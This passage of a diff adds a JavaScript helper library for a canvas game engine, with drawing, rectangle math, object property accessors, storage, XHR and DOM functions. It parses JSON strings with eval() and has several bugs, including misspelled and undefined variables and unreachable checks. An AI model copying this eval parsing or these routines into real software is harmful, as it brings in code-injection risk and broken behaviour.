1: + return ifast_rect(ui.bg1.x, ui.bg1.y, ui.bg1.width, ui.bg1.height); + break; + case 2: + return ifast_rect(ui.bg2.x, ui.bg2.y, ui.bg2.width, ui.bg2.height); + break; + default: + return ifast_rect(0, 0, ui.backBuffer.width, ui.backBuffer.height); + ;break; + } +} +;function ifast_getdc(dcid) { + switch (dcid) { + case 0: + return g_GameObjectManager.d2dbj; + break; + case 1: + return g_GameObjectManager.d2dbj1; + break; + case 2: + return g_GameObjectManager.d2dbj2; + break; + default: + return gameabc_face.dc; + break; + } +} +;function ifast_mydrawsprite(spid, spidsourse, sp_x, sp_y) { + var tx, ty; + if (arguments.length == 2) { + tx = spidsourse.x; + ty = spidsourse.y; + spidsourse.x = spid.x + spidsourse.x; + spidsourse.y = spid.y + spidsourse.y; + spidsourse.draw(0, gameabc_face.dc, 0, 0); + spidsourse.x = tx; + spidsourse.y = ty; + return; + } + ;var objs = ifast_getobj(spidsourse); + if (typeof (objs) == "object") { + if (spid > 0) { + var obj = ifast_getobj(spid); + if (typeof (obj) == "object") { + tx = objs.x; + ty = objs.y; + objs.x = obj.x + sp_x; + objs.y = obj.y + sp_y; + objs.draw(0, gameabc_face.dc, 0, 0); + objs.x = tx; + objs.y = ty; + } + ; + } + ; + } + ; +} +;function ifast_mydrawbmp(spid, recid, sp_x, sp_y, sp_w, sp_h, bmp_x, bmp_y, bmp_w, bmp_h) { + if (bmp_w <= 0) { + ifast_drawtext(spid, recid, sp_x, sp_y, sp_w, sp_h); + return; + } + ;if (spid <= 0) { + gameabc_face.dc.drawImage(img, bmp_x, bmp_y, bmp_w, bmp_h, sp_x, sp_y, sp_w, sp_h); + return; + } + ;var img = gameabc_load_img2(recid); + var obj = ifast_getobj(spid); + if (typeof (obj) == "object") { + gameabc_face.dc.drawImage(img, bmp_x, bmp_y, bmp_w, bmp_h, obj.x + sp_x, obj.y + sp_y, sp_w, sp_h); + } + ; +} +;function ifast_mydrawtext(spid, recid, sp_x, sp_y, sp_w, sp_h) { + gameabc_face.dc.textBaseline = "top"; + gameabc_face.dc.fillStyle = gameabc_GameTxt.GameTxtList[recid].Color; + gameabc_face.dc.font = sp_h + 'px' + ' bold san-serif'; + var caption = gameabc_GameTxt.GameTxtList[recid].Text; + if (spid <= 0) { + gameabc_face.dc.fillText(caption, sp_x, sp_y, sp_w); + return; + } + ;var obj = ifast_getobj(spid); + if (typeof (obj) == "object") { + gameabc_face.dc.fillText(caption, obj.x + sp_x, obj.y + sp_y, sp_w); + } + ; +} +;function ifast_lenth(key) { + if (typeof (key) != "string") { + var g = key + ""; + return g.length; + } else { + return key.length; + } +} +;function ifast_stringat(key, pos) { + return key.charAt(pos); +} +;function ifast_setpause(is) { + if (!gameabgc_face.pause) { + gameabc_face.pause = 0; + } + ;return gameabc_face.pause = is; +} +;function ifasthttpobj(httppath, httpdata) { + this.httppath = httppath; + this.httpdata = httpdata; + this.httppath = readfile_t(httppath); + this.httpdata = readfile_t(httpdata); + ;this.render = function() { + return this.httppath; + } +} +;function ifast_replaceall(str, oldkey, newkey) { + var regS = new RegExp(oldkey,"g"); + return str.replace(regS, newkey); +} +;function ifast_replacestr(str, oldkey, newkey) { + return str.replace(oldkey, newkey); +} +;function ifast_copystr(str, start, end) {} +;function ifast_getpause() { + if (!gameabgc_face.pause) { + gameabc_face.pause = 0; + } + ;return gameabc_face.pause; +} +;function drawround(ctx, mode, cx, cy, r, fx, bgColor, starta, enda, isout) { + if (typeof (ctx) == "object") { + gameabc_face.drawround(ctx, mode, cx, cy, r, fx, bgColor, starta, enda, isout); + } else { + if (ctx == 0) { + gameabc_face.drawround(gameabc_face.dc, mode, cx, cy, r, fx, bgColor, starta, enda, isout); + } else { + var x1 = get_self(ctx, 18, 0, 0, 0); + var y1 = get_self(ctx, 19, 0, 0, 0); + cx = cx + x1; + cy = cy + y1; + gameabc_face.drawround(gameabc_face.dc, mode, cx, cy, r, fx, bgColor, starta, enda, isout); + } + ; + } + ; +} +;function drawlines(ctx, startx, starty, endx, endy, lw, bgColor) { + if (typeof (ctx) == "object") { + gameabc_face.drawlines(ctx, startx, starty, endx, endy, lw, bgColor); + } else { + if (ctx == 0) { + gameabc_face.drawlines(gameabc_face.dc, startx, starty, endx, endy, lw, bgColor); + } else { + var x = get_self(ctx, 18, 0, 0, 0); + var y = get_self(ctx, 19, 0, 0, 0); + startx = startx + x; + starty = starty + y; + endx = endx + x; + endy = endy + y; + gameabc_face.drawlines(gameabc_face.dc, startx, starty, endx, endy, lw, bgColor); + } + ; + } + ; +} +;function set_clip(ctx, mode, x, y, w, h, starta, enda, timefx) { + if (typeof (ctx) == "object") { + gameabc_face.set_clip(ctx, mode, x, y, w, h, starta, enda, timefx); + } else { + if (ctx == 0) { + gameabc_face.set_clip(gameabc_face.dc, mode, x, y, w, h, starta, enda, timefx); + } else { + var x1 = get_self(ctx, 18, 0, 0, 0); + var y1 = get_self(ctx, 19, 0, 0, 0); + x = x + x1; + y = y + y1; + gameabc_face.set_clip(gameabc_face.dc, mode, x, y, w, h, starta, enda, timefx); + } + ; + } + ; +} +;function drawrect(ctx, mode, x, y, w, h, bgColor, isout) { + if (typeof (ctx) == "object") { + gameabc_face.drawrect(ctx, mode, x, y, w, h, bgColor, isout); + } else { + if (ctx == 0) { + gameabc_face.drawrect(gameabc_face.dc, mode, x, y, w, h, bgColor, isout); + } else { + var x1 = get_self(ctx, 18, 0, 0, 0); + var y1 = get_self(ctx, 19, 0, 0, 0); + x = x + x1; + y = y + y1; + gameabc_face.drawrect(gameabc_face.dc, mode, x, y, w, h, bgColor, isout); + } + ; + } + ; +} +;function play_box(zt, id, sx, start, startv, av, timelen) { + return ifast_wss.playbox(zt, id, sx, start, startv, av, timelen); +} +;function play_ani(zt, id, sx, start, end, times0, timelen, timee, timesz, timese, timesall, timeall, xhmode) { + return ifast_wss.playani(zt, id, sx, start, end, times0, timelen, timee, timesz, timese, timesall, timeall, xhmode); +} +;function play_ani123(zt, id, sx, start, end, timelen, timesall, timeall, xhmode) { + return ifast_wss.playani(zt, id, sx, start, end, 0, timelen, 0, 0, 0, timesall, timeall, xhmode); +} +;function writefile_key(msg, key) { + localStorage.setItem(key, msg); +} +;function writefile_gameid(msg, gameid, fileid) { + localStorage.setItem("file_" + gameid + "_" + fileid, msg); +} +;function readfile_gameid(gameid, fileid) { + return localStorage.getItem("file_" + gameid + "_" + fileid); +} +;function chartoint(str) { + return str.charCodeAt(); +} +;function inttochar(code) { + return String.fromCharCode(code); +} +;function ifast_isno(str) { + if (str == ifastno || str == ifastnull) { + return true; + } else { + return false; + } + ; +} +;function ifast_set_str_add(str1, str2, delim) { + if (ifast_isno(delim) == true) { + delim = 0; + } + ;if (delim == 0) { + return str1 + "\r\n" + str2; + } else if (delim == -1) { + return str1 + str2; + } else { + return str1 + inttochar(delim) + str2; + } +} +;function ifast_checkjsonstr(v) { + v = other_replaceall(v, "\n", "\\n"); + v = other_replaceall(v, "\r", "\\r"); + return v; +} +;function ifast_tojson(str) { + var h = {}; + if (str == '') { + h.error = '空字符'; + return h; + } + ;h = eval("(" + str + ")"); + return h; +} +;function ifast_jsontostring(json1) { + return JSON.stringify(json1); +} +;function ifast_get_str_index(str, index1, delim) { + return ifast_get_str_val(str, "", delim, index1); +} +;function ifast_get_str_val(str, com, delim, index) { + var delim1; + if (ifast_isno(delim)) { + delim1 = ifastfen; + } else { + delim1 = delim; + } + ;var arr1 = str.split(delim1); + if (com == "") { + if (ifast_isno(index) == true) { + return "null"; + } + ;if (arr1[index]) { + return arr1[index]; + } else { + return "null"; + } + ; + } + ;var str1; + var arr2; + for (i = 0; i < arr1.length - 1; i++) { + str1 = arr1[i]; + arr2 = str1.split("="); + if (com == arr2[0]) { + return arr2[1]; + } + ; + } +} +;function ifast_get_str_count(str, delim) { + var delim1; + if (ifast_isno(delim)) { + delim1 = ifastfen; + } else { + delim1 = delim; + } + ;var arr1 = str.split(delim1); + return arr1.length; +} +;function showmessage(str, mode) { + if (arguments.length == 1) { + var sUserAgent = navigator.userAgent.toLowerCase(); + var bIsIpad = sUserAgent.match(/ipad/i) == "ipad"; + var bIsIphoneOs = sUserAgent.match(/iphone os/i) == "iphone os"; + var bIsMidp = sUserAgent.match(/midp/i) == "midp"; + var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; + var bIsUc = sUserAgent.match(/ucweb/i) == "ucweb"; + var bIsAndroid = sUserAgent.match(/android/i) == "android"; + var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce"; + var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile"; + if ((typeof (settings) != "undefined") && (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM)) { + settings.showmessage(str); + } else { + alert(str); + } + } else { + var mybody = document.getElementsByTagName("body")[0]; + var mytablebody = document.createElement("textarea"); + mytablebody.style = "left:0px;top:0px;width:800px;height:600px;position:absolute"; + mytablebody.value = str; + mybody.appendChild(mytablebody); + } +} +;function ifast_renderjson2html(data, inits, re, mb) { + var ss = inits; + if (re == 1) { + ss = ss + mb; + } + ;for (var o in data) { + if (typeof (data[o]) == "function") { + continue; + } + ;if (typeof (data[o]) == "object") { + if (data[o].constructor.name == 'Array') { + ss = ifast_renderjson2html(data[o], ss, 0, mb); + } else { + if (data[o].hasOwnProperty('mydata')) { + ss = ifast_renderjson2html(data[o], ss, 1, data[o].mydata); + } else { + if (data[o].hasOwnProperty('myfunc')) { + ss = ifast_renderjson2html(data[o], ss, 2, data[o].myfunc); + } else { + ss = ifast_renderjson2html(data[o], ss, 0, mb); + } + ; + } + } + } else { + switch (re) { + case 2: + if (o != "myfunc") { + ss = mb + "&" + o + "=" + data[o]; + ss = readfile_t(ss); + ss = inits + ss; + } + ;break; + case 1: + if (o != "mydata") { + ss = ifast_replacestr(ss, "{%=" + o + "%}", data[o]); + } + ;break; + default: + ss = ss + data[o]; + break; + } + ; + } + ; + } + ;return ss; +} +;function logmessage(str, mode) { + if (gameabc_face.openlog != 1 && mode == 0) { + return; + } + ;if (!mode) { + mode = 0; + } + ;switch (mode) { + case 2: + document.title = str; + break; + case 0: + ;break; + case 1: + gameabc_face.drawcharge = 1; + gameabc_face.loglist.push(str); + break; + case -1: + gameabc_face.drawcharge = 1; + gameabc_face.loglist = []; + break; + default: + break; + } +} +;function readfile_a2(myid, url, postcp, fun) { + var XMLHttpRequestObject = false; + try { + if (window.XMLHttpRequest) { + XMLHttpRequestObject = new XMLHttpRequest(); + } else if (window.ActiveXObject) { + XMLHttpRequestObject = new ActiveXObject("Microsoft.XMLHTTP"); + } + ;if (XMLHttpRequestObject) { + if (!postcp || postcp == 'GET') { + XMLHttpRequestObject.open("GET", url, true); + } else { + XMLHttpRequestObject.open("POST", url, true); + } + ;XMLHttpRequestObject.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); + XMLHttpRequestObject.onreadystatechange = function() { + if (XMLHttpRequestObject.readyState == 4) { + if (XMLHttpRequestObject.status == 200) { + if (fun) { + fun(myid, url, XMLHttpRequestObject.responseText); + } + } else { + if (fun) { + fun(myid, "error", XMLHttpRequestObject.responseText); + } + } + } + } + ; + if (!postcp || postcp == 'GET') { + XMLHttpRequestObject.send(null); + } else { + XMLHttpRequestObject.send(postcp); + } + } + } catch (e) { + if (fun) { + fun(myid, "error", "error"); + } + ; + } + ; +} +;function readfile_a(url, postcp, fun) { + var XMLHttpRequestObject = false; + try { + if (window.XMLHttpRequest) { + XMLHttpRequestObject = new XMLHttpRequest(); + } else if (window.ActiveXObject) { + XMLHttpRequestObject = new ActiveXObject("Microsoft.XMLHTTP"); + } + ;if (XMLHttpRequestObject) { + if (!postcp || postcp == 'GET') { + XMLHttpRequestObject.open("GET", url, true); + } else { + XMLHttpRequestObject.open("POST", url, true); + } + ;XMLHttpRequestObject.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); + XMLHttpRequestObject.onreadystatechange = function() { + if (XMLHttpRequestObject.readyState == 4) { + if (XMLHttpRequestObject.status == 200) { + fun(XMLHttpRequestObject.responseText); + } else { + fun("null"); + } + } + } + ; + if (!postcp || postcp == 'GET') { + XMLHttpRequestObject.send(null); + } else { + XMLHttpRequestObject.send(postcp); + } + } + } catch (e) { + fun("error"); + } + ; +} +;function readfile_t(url, postcp) { + var myString = ""; + var XMLHttpRequestObject = false; + try { + if (window.XMLHttpRequest) { + XMLHttpRequestObject = new XMLHttpRequest(); + } else if (window.ActiveXObject) { + XMLHttpRequestObject = new ActiveXObject("Microsoft.XMLHTTP"); + } + ;if (XMLHttpRequestObject) { + if (!postcp || postcp == 'GET') { + XMLHttpRequestObject.open("GET", url, false); + XMLHttpRequestObject.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); + XMLHttpRequestObject.send(null); + } else { + XMLHttpRequestObject.open("POST", url, false); + XMLHttpRequestObject.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); + XMLHttpRequestObject.send(postcp); + } + ;myString = XMLHttpRequestObject.responseText; + return myString; + } else { + return myString; + } + } catch (e) { + return "error"; + } + ; +} +;function ifast_mod(i, b) { + return i % b; +} +;function ifast_div(i, b) { + if (!b) { + return parseInt(i); + } + ;return parseInt(i / b); +} +;function ifast_getobj(spid) { + return gameabc_getobj(spid); +} +;function set_rec(stringid, stringv) { + gameabc_GameTxt.GameTxtList[stringid].Text = stringv; +} +;function get_rec(stringid) { + return gameabc_GameTxt.GameTxtList[stringid].Text; +} +;function ifast_tel(tel) { + if (ifast_ispc() == 0) { + window.location.href = "tel://" + tel; + } else { + showmessage("模拟打电话:" + tel); + } +} +;function set_level_up(levelid, vsb) { + if (!gameabc_Layer.LayerList[levelid]) { + return; + } + ;gameabc_Layer.LayerList[levelid].vsb = vsb; + var t = gameabc_Layer.showorder; + t.removeval(levelid); + if (vsb == 1) { + t.push(levelid); + set_level(gameabc_Layer.showorder); + } +} +;function set_level(levelid, vsb, val) { + if (arguments.length == 1) { + var le = gameabc_Layer.LayerList; + gameabc_Layer.showorder = levelid; + for (yy = 0; yy < le.length; yy++) { + le[yy].vsb = 0; + } + ;for (yy = 0; yy < levelid.length; yy++) { + if (!le[levelid[yy]].Property) { + continue; + } + ;le[levelid[yy]].vsb = 1; + } + ;return; + } + ;if (!gameabc_Layer.LayerList[levelid]) { + return; + } + ;if (arguments.length == 2) { + gameabc_Layer.LayerList[levelid].vsb = vsb; + return; + } + ;if (vsb == 41) { + gameabc_Layer.LayerList[levelid].canclick = val; + } +} +;function set_group(groupid, cpid, val, mode, val2) { + var groups = gameabc_GroupList.GroupList; + var group; + var id; + for (var x = 0; x < groups.length; x++) { + if (groups[x].GroupID == groupid) { + group = groups[x].ObjectList; + for (var y = 0; y < group.length; y++) { + id = group[y]; + set_self(id, cpid, val, mode, val2); + } + } + } +} +;function get_self(id, cpid, val, mode, val2) { + var obj = gameabc_func.getobj(id); + if (ifast_isno(obj)) { + return 0; + } + ;var re = 0; + if (mode == 0) { + mode = -1; + } + ;switch (cpid) { + case 6: + re = obj.image; + break; + case 16: + re = obj.f; + break; + case 7: + if (obj.uipointer == 0) { + if (!val || val == 0) { + re = obj.caption; + } else { + if (typeof (val) == 'string') { + re = ifast_measureText(id, val); + } else { + re = ifast_measureText(id); + } + ; + } + } else { + re = gameabc_face.getdiv_text(obj.uipointer); + } + ;break; + case 1: + re = gamabc_getval(obj.recid, val, mode); + break; + case 33: + re = gamabc_getval(obj.scale, val, mode); + break; + case 34: + re = gamabc_getval(obj.arge, val, mode); + break; + case 35: + re = gamabc_getval(obj.ap, val, mode); + break; + case 36: + re = gamabc_getval(obj.hu, val, mode); + break; + case 45: + re = gamabc_getval(obj.cx, val, mode); + break; + case 46: + re = gamabc_getval(obj.cy, val, mode); + break; + case 51: + re = gamabc_getval(obj.jx, val, mode); + break; + case 18: + re = gamabc_getval(obj.x, val, mode); + break; + case 19: + re = gamabc_getval(obj.y, val, mode); + break; + case 20: + re = gamabc_getval(obj.w, val, mode); + break; + case 21: + re = gamabc_getval(obj.h, val, mode); + break; + case 43: + re = gamabc_getval(obj.frame, val, mode); + break; + case 37: + if (obj.uipointer == 0) { + re = gamabc_getval(obj.visbale, val, mode); + } else { + re = gameabc_face.getdiv_v(obj.uipointer); + } + ;break; + case 41: + re = gamabc_getval(obj.canclick, val, mode); + break; + case 44: + re = gamabc_getval(obj.groupid, val, mode); + break; + case 57: + re = gamabc_getval(obj.ontime, val, mode); + break; + case 58: + re = obj.color; + break; + case 28: + var t = {}; + t.x = obj.x; + t.y = obj.y; + t.w = obj.w; + t.h = obj.h; + re = t; + break; + default: + if (!obj["other" + cpid]) { + obj["other" + cpid] = 0; + } + ;re = gamabc_getval(obj["other" + cpid], val, mode); + break; + } + ;return re; +} +;function set_self(id, cpid, val, mode, val2) { + var obj = gameabc_func.getobj(id); + if (ifast_isno(obj)) { + return 0; + } + ;if (arguments.length == 3) { + mode = 0; + } + ;if (typeof (cpid) == "string") { + if (obj.uipointer != 0) { + obj.uipointer.setAttribute(cpid, val); + } + ;return; + } + ;switch (cpid) { + case 6: + obj.image = val; + break; + case 28: + if (typeof (val) == "object") { + obj.x = val.x; + obj.y = val.y; + obj.w = val.w; + obj.h = val.h; + } + ;break; + case 16: + if (val <= 0) { + obj.f = 0; + } else { + obj.f = ifast_getobj(val); + } + ;break; + case 58: + obj.color = val; + break; + case 7: + if (typeof (val) != "string") { + try { + val = val.toString(); + } catch (e) { + val = "null"; + } + } + ;if (obj.uipointer != 0) { + gameabc_face.setdiv_text(obj.uipointer, val); + } + ;obj.caption = val; + break; + case 1: + obj.recid = gamabc_getval(obj.recid, val, mode); + if (obj.recid <= 0) { + obj.image = null; + } else { + if (obj.recid < 10000) { + obj.image = gameabc_load_img2(obj.recid); + } else { + obj.image = gameabc_Image.addimgs["add" + obj.recid].img; + } + } + ;break; + case 33: + obj.scale = gamabc_getval(obj.scale, val, mode); + break; + case 34: + obj.arge = gamabc_getval(obj.arge, val, mode); + break; + case 35: + obj.ap = gamabc_getval(obj.ap, val, mode); + break; + case 36: + obj.hu = gamabc_getval(obj.hu, val, mode); + break; + case 45: + obj.cx = gamabc_getval(obj.cx, val, mode); + break; + case 46: + obj.cy = gamabc_getval(obj.cy, val, mode); + break; + case 51: + obj.jx = gamabc_getval(obj.jx, val, mode); + break; + case 18: + obj.x = gamabc_getval(obj.x, val, mode); + break; + case 19: + obj.y = gamabc_getval(obj.y, val, mode); + break; + case 20: + obj.w = gamabc_getval(obj.w, val, mode); + break; + case 21: + obj.h = gamabc_getval(obj.h, val, mode); + break; + case 43: + obj.frame = gamabc_getval(obj.frame, val, mode); + break; + case 37: + if (obj.uipointer != 0) { + gameabc_face.setdiv_v(obj.uipointer, val); + } + ;obj.visbale = gamabc_getval(obj.visbale, val, mode); + break; + case 41: + obj.canclick = gamabc_getval(obj.canclick, val, mode); + break; + case 44: + obj.groupid = gamabc_getval(obj.groupid, val, mode); + break; + case 57: + obj.ontime = gamabc_getval(obj.ontime, val, mode); + if (obj.ontime == 0) { + obj.click_time = 0; + } + ;break; + default: + if (!obj["other" + cpid]) { + obj["other" + cpid] = 0; + } + ;obj["other" + cpid] = gamabc_getval(obj["other" + cpid], val, mode); + break; + } + ;if (obj.ObjectType == 5) { + obj.charge(obj.x, obj.y, obj.w, obj.h); + } +} +;function ifast_getrectdec(allrect, syrect, Align, SizeStyle, size, dec) { + return getmyrectdec(allrect, syrect, Align, SizeStyle, size, dec); +} +;function ifast_getrect(spid, Align, SizeStyle, size) { + var rect1; + if (spid <= 0) { + return ifast_rect(0, 0, window.innerWidth, window.innerHeight); + } + ;rect1 = get_self(spid, 28); + if (!Align) { + return rect1; + } + ;return getmyrectdec(rect1, rect1, Align, SizeStyle, size, 0); +} +;function ifast_checksprite(spido, spidd) { + var o = get_self(spido, 28); + var d = get_self(spidd, 28); + return ifast_checkrect(o, d); +} +;function ifast_checkpoint(x, y, d) { + if (x >= d.x && x <= d.x + d.w && y >= d.y && y <= d.y + d.h) { + return 1; + } else { + return 0; + } +} +;function ifast_checkrect(o, d) { + if (d.x >= o.w || d.y >= o.h) { + return 0; + } else { + return 1; + } + ;if (d.x + d.w <= o.x || d.y + d.h < o.y) { + return 0; + } else { + return 1; + } + ;var px; + var py; + px = o.x <= d.x ? d.x : o.x; + py = o.y <= d.y ? d.y : o.y; + if (px >= o.x && px <= o.x + o.w && py >= o.y && py <= o.y + o.h && px >= d.x && px <= d.x + d.w && py >= d.y && py <= d.y + d.h) { + return 1; + } else { + return 0; + } +} +;function ifast_rectalign(rects, mode, pointx, y) { + var point; + if (arguments.length == 3) { + point = pointx; + } else { + point = ifast_rect(pointx, y, 0, 0); + } + ;var rect1 = ifast_rect(rects); + switch (mode) { + case 1: + rect1 = ifast_rectoffxy(rect1, point.x, point.y); + break; + case 2: + rect1.x = point.x + rect1.x - rect1.w; + rect1.y = point.y + rect1.y; + break; + case 3: + rect1.x = point.x + rect1.x - rect1.w; + rect1.y = point.y + rect1.y - rect1.h; + break; + case 4: + rect1.x = point.x + rect1.x; + rect1.y = point.y + rect1.y - rect1.h; + break; + case 5: + rect1.x = point.x + rect1.x - parseInt(rect1.w * 0.5); + rect1.y = point.y + rect1.y - parseInt(rect1.h * 0.5); + break; + default: + break; + } + ;return rect1; +} +;function ifast_spritealignxy(offx, offy, spids, modeds, cx, cy) { + var rect1 = get_self(spids, 28); + rect1.x = offx; + rect1.y = offy; + var rect2; + rect2 = ifast_rectalign(rect1, modeds, cx, cy); + set_self(spids, 28, rect2); +} +;function ifast_spritealign(offx, offy, spids, modeds, spidd, moded) { + var rect1 = get_self(spids, 28); + rect1.x = offx; + rect1.y = offy; + var rect2 = get_self(spidd, 28); + rect2 = ifast_point(rect2, moded); + rect2 = ifast_rectalign(rect1, modeds, rect2); + set_self(spids, 28, rect2); +} +;function ifast_point(r, mode) { + var rect1; + rect1 = ifast_rect(r.x, r.y, r.w, r.h); + switch (mode) { + case 1: + break; + case 2: + rect1.x += rect1.w; + break; + case 3: + rect1.x += rect1.w; + rect1.y += rect1.h; + break; + case 4: + rect1.y += rect1.h; + break; + case 5: + rect1.x += parseInt(rect1.w * 0.5); + rect1.y += parseInt(rect1.h * 0.5); + break; + } + ;return rect1; +} +;function ifast_rectscwh(r, sw, sh) { + var rect1; + rect1 = ifast_rect(r.x, r.y, r.w, r.h); + rect1.w = parseInt(r.w * sw); + rect1.h = parseInt(r.h * sh); + return rect1; +} +;function ifast_rectoffxy(r, x, y) { + var rect1 = {}; + rect1.x = x + r.x; + rect1.y = y + r.y; + rect1.w = r.w; + rect1.h = r.h; + return rect1; +} +;function ifast_rect(ox, oy, ow, oh) { + var rect1 = {}; + if (arguments.length < 4) { + rect1.x = ox.x; + rect1.y = ox.y; + rect1.w = ox.w; + rect1.h = ox.h; + } else { + rect1.x = ox; + rect1.y = oy; + rect1.w = ow; + rect1.h = oh; + } + ;return rect1; +} +;function ifast_setkey(id, key, val) { + if (ifast_hashmaps['my' + id] == undefined) { + ifast_hashmaps['my' + id] = {}; + } + ;ifast_hashmaps['my' + id]['my' + key] = val; +} +;function ifast_getkey(id, key) { + if (ifast_hashmaps['my' + id] == undefined) { + ifast_hashmaps['my' + id] = {}; + return null; + } + ;return ifast_hashmaps['my' + id]['my' + key]; +} +;function ifast_delkey(id, key) { + if (ifast_hashmaps['my' + id] == undefined) { + ifast_hashmaps['my' + id] = {}; + } + ;delete ifast_hashmaps['my' + id]['my' + key]; +} +;function ifast_addtospritefromspritecopy(fspid, copyspid, x, y, tag) { + if (fspid <= 0) { + return; + } + ;var fobj = ifast_getobj(fspid); + var obj2 = new GameObject().addtospritefromspritecopy(fspid, copyspid, x, y, tag); + return fspid + 'add' + tag; +} +;function ifast_dllpritefromspritecopy(fspid, tag) { + if (fspid <= 0) { + return; + } + ;var fobj = ifast_getobj(fspid); + fobj.dllpritefromspritecopy(tag); +} +;function ifast_check_add(spid, x1, y1) { + return gameabc_check_add(spid, x1, y1) +} +;function ifast_ispc() { + var userAgentInfo = navigator.userAgent; + var Agents = ["Android", "iPhone", "SymbianOS", "Windows Phone", "iPad", "iPod"]; + var flag = 1; + for (var v = 0; v < Agents.length; v++) { + if (userAgentInfo.indexOf(Agents[v]) > 0) { + flag = 0; + break; + } + } + ;return flag; +} +;function ifast_checkimg(image_id, upwh) { + gameabc_face.drawcharge = 1; + var obj; + if (image_id < 10000) { + obj = gameabc_Image.ImageFileList[image_id]; + if (!obj) { + return 0; + } + ;if (obj.img.error != 0) { + return -obj.img.error; + } + ;if (upwh == 1) { + obj.w1 = parseInt(obj.w1 * (obj.img.width / obj.img.allw)); + obj.h1 = parseInt(obj.h1 * (obj.img.height / obj.img.allh)); + obj.img.allw = obj.img.width; + obj.img.allh = obj.img.height; + } + ;return obj.img.ok; + } else { + if (!gameabc_Image.addimgs) { + gameabc_Image.addimgs = {}; + } + ;obj = gameabc_Image.addimgs["add" + image_id]; + if (!obj) { + return 0; + } + ;if (obj.img.error != 0) { + return -obj.img.error; + } + ;if (upwh == 1) { + obj.w1 = parseInt(obj.w1 * (obj.img.width / obj.img.allw)); + obj.h1 = parseInt(obj.h1 * (obj.img.height / obj.img.allh)); + obj.img.allw = obj.img.width; + obj.img.allh = obj.img.height; + } + ;return obj.img.ok; + } +} +;function ifast_addimgfromimgcopy(fimgid, copyimgid, url) { + if (fimgid > 10000) { + alert('ifast_addimgfromimgcopy:fimgid:必须小于10000'); + return -1; + } + ;if (copyimgid < 10000) { + alert('ifast_addimgfromimgcopy:copyimgid:必须大于等于10000'); + return -2; + } + ;if (!gameabc_Image.addimgs) { + gameabc_Image.addimgs = {}; + } + ;var obj = gameabc_Image.addimgs["add" + copyimgid]; + if (obj) { + return; + } + ;gameabc_Image.addimgs["add" + copyimgid] = {}; + obj = gameabc_Image.addimgs["add" + copyimgid]; + var objimg = gameabc_Image.ImageFileList[fimgid]; + if (!objimg.id) { + alert('ifast_addimgfromimgcopy:fimgid:没有属性'); + return -3; + } + ;obj.img = new Image(); + obj.img.id = copyimgid; + obj.img.ok = 0; + obj.img.allw = objimg.w_all; + obj.img.allh = objimg.h_all; + obj.img.error = 0; + obj.id = copyimgid; + obj.w_all = objimg.w_all; + obj.h_all = objimg.h_all; + obj.h = objimg.h; + obj.w = objimg.w; + obj.frame_all = objimg.frame_all; + obj.w1 = objimg.w1; + obj.h1 = objimg.h1; + obj.img.src = url; + obj.img.pathx = url; + obj.img.onload = function() { + this.ok = 1; + obj.w_all = this.width; + obj.h_all = this.height; + obj.w1 = parseInt(this.width / obj.w); + obj.h1 = parseInt(this.height / obj.h); + } + ; + obj.img.onerror = function() { + this.error = this.error + 1; + if (this.error < 3) { + obj.img.src = ''; + obj.img.src = obj.img.pathx; + } + } +} +;function ifast_delimgfromimgcopy(recid) { + if (!gameabc_Image.addimgs) { + gameabc_Image.addimgs = {}; + } + ;var obj = gameabc_Image.addimgs["add" + copyimgid]; + if (obj) { + delete obj.img; + delete gameabc_Image.addimgs["add" + copyimgid]; + } + ; +} +;function ifast_loadhtml(htmltxt) { + document.open(); + document.write(htmltxt); + document.close(); +} +;function ifast_split(str1, str2) { + return str1.split(str2); +} +;function draw_bg(recid) { + var img = gameabc_load_img2(recid); + if (g_GameObjectManager.d2dbj) { + g_GameObjectManager.d2dbj.drawImage(img, 0, 0, g_GameObjectManager.canvas.width, g_GameObjectManager.canvas.height); + g_GameObjectManager.userbj = 1; + } + ; +} +;function other_replaceall(sstr, key1, ostr) { + if (arguments.length == 2) { + var news = sstr; + var key; + if (typeof (key1) == 'string') { + key = eval("(" + key1 + ")"); + } else { + key = key1; + } + ;for (var kayname in key) { + news = other_replaceall(news, '{{' + kayname + '}}', key[kayname]); + } + ;return news; + } + ;var regS = new RegExp(key1,"g"); + return sstr.replace(regS, ostr); +} +;function other_upimgsrc(id, str) { + var obj = window.document.getElementById(id); + obj.src = str; +} +;function other_upinnerHTML(id, str, isadd) { + var obj = window.document.getElementById(id); + if (isadd) { + obj.innerHTML = obj.innerHTML + str; + } else { + obj.innerHTML = str; + } +} +;function other_upkey(id, key, ostr) { + var obj = window.document.getElementById(id); + obj.setAttribute(key, ostr); +} +;function other_setdom(id, key, val) { + var obj; + if (typeof (id) == 'string') { + obj = gameabc_face.getdiv(id); + } else { + obj = id; + } + ;obj.setAttribute(key, val); +} +;function other_deldom(id) { + var obj; + if (typeof (id) == 'string') { + obj = gameabc_face.getdiv(id); + } else { + obj = id; + } + ;obj.parentNode.removeChild(obj); +} +;function other_creatdom(mode) { + var inText = document.createElement(mode); + return inText; +} +;function other_offdomxywh(sdom, ddom, offx, offy, ww, hh) { + var obj; + if (typeof (sdom) == 'string') { + obj = gameabc_face.getdiv(sdom); + } else { + obj = sdom; + } + ;var obj2; + if (typeof (ddom) == 'string') { + obj2 = gameabc_face.getdiv(ddom); + } else { + obj2 = ddom; + } + ;if (obj2 == null) { + return; + } + ;obj2.style.position = 'absolute'; + if (!offx) { + offx = 0; + } else { + offx = parseInt(offx / gameabc_face.mouse_sx); + } + ;if (!offy) { + offy = 0; + } else { + offy = parseInt(offy / gameabc_face.mouse_sy); + } + ;if (!ww) { + ww = obj.width; + } else { + ww = parseInt((ww) / gameabc_face.mouse_sx); + } + ;if (!hh) { + hh = obj.height; + } else { + hh = parseInt((hh) / gameabc_face.mouse_sy); + } + ;obj2.style.left = parseInt(obj.style.left) + offx + 'px'; + obj2.style.top = parseInt(obj.style.top) + offy + 'px'; + obj2.width = ww; + obj2.height = hh; +} +;function other_appdom(pdom, dom) { + var obj; + if (typeof (pdom) == 'string') { + obj = gameabc_face.getdiv(pdom); + } else { + obj = pdom; + } + 